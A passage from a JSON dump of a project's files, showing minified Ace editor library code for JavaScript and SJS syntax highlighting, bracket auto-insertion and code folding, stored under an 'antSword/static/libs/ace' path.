]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/sjs_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=new i({noES6:!0}),t=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\",n=function(e){return e.isContextAware=!0,e},r=function(e){return{token:e.token,regex:e.regex,next:n(function(t,n){return n.length===0&&n.unshift(t),n.unshift(e.next),e.next})}},s=function(e){return{token:e.token,regex:e.regex,next:n(function(e,t){return t.shift(),t[0]||\"start\"})}};this.$rules=e.$rules,this.$rules.no_regex=[{token:\"keyword\",regex:\"(waitfor|or|and|collapse|spawn|retract)\\\\b\"},{token:\"keyword.operator\",regex:\"(->|=>|\\\\.\\\\.)\"},{token:\"variable.language\",regex:\"(hold|default)\\\\b\"},r({token:\"string\",regex:\"`\",next:\"bstring\"}),r({token:\"string\",regex:'\"',next:\"qqstring\"}),r({token:\"string\",regex:'\"',next:\"qqstring\"}),{token:[\"paren.lparen\",\"text\",\"paren.rparen\"],regex:\"(\\\\{)(\\\\s*)(\\\\|)\",next:\"block_arguments\"}].concat(this.$rules.no_regex),this.$rules.block_arguments=[{token:\"paren.rparen\",regex:\"\\\\|\",next:\"no_regex\"}].concat(this.$rules.function_arguments),this.$rules.bstring=[{token:\"constant.language.escape\",regex:t},{token:\"string\",regex:\"\\\\\\\\$\",next:\"bstring\"},r({token:\"paren.lparen\",regex:\"\\\\$\\\\{\",next:\"string_interp\"}),r({token:\"paren.lparen\",regex:\"\\\\$\",next:\"bstring_interp_single\"}),s({token:\"string\",regex:\"`\"}),{defaultToken:\"string\"}],this.$rules.qqstring=[{token:\"constant.language.escape\",regex:t},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},r({token:\"paren.lparen\",regex:\"#\\\\{\",next:\"string_interp\"}),s({token:\"string\",regex:'\"'}),{defaultToken:\"string\"}];var o=[];for(var u=0;u<this.$rules.no_regex.length;u++){var a=this.$rules.no_regex[u],f=String(a.token);f.indexOf(\"paren\")==-1&&(!a.next||a.next.isContextAware)&&o.push(a)}this.$rules.string_interp=[s({token:\"paren.rparen\",regex:\"\\\\}\"}),r({token:\"paren.lparen\",regex:\"{\",next:\"string_interp\"})].concat(o),this.$rules.bstring_interp_single=[{token:[\"identifier\",\"paren.lparen\"],regex:\"(\\\\w+)(\\\\()\",next:\"bstring_interp_single_call\"},s({token:\"identifier\",regex:\"\\\\w*\"})],this.$rules.bstring_interp_single_call=[r({token:\"paren.lparen\",regex:\"\\\\(\",next:\"bstring_interp_single_call\"}),s({token:\"paren.rparen\",regex:\"\\\\)\"})].concat(o)};r.inherits(o,s),t.SJSHighlightRules=o}),ace.define(\"ace/mode/sjs\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/sjs_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./sjs_highlight_rules\").SJSHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/sjs\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-smarty.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token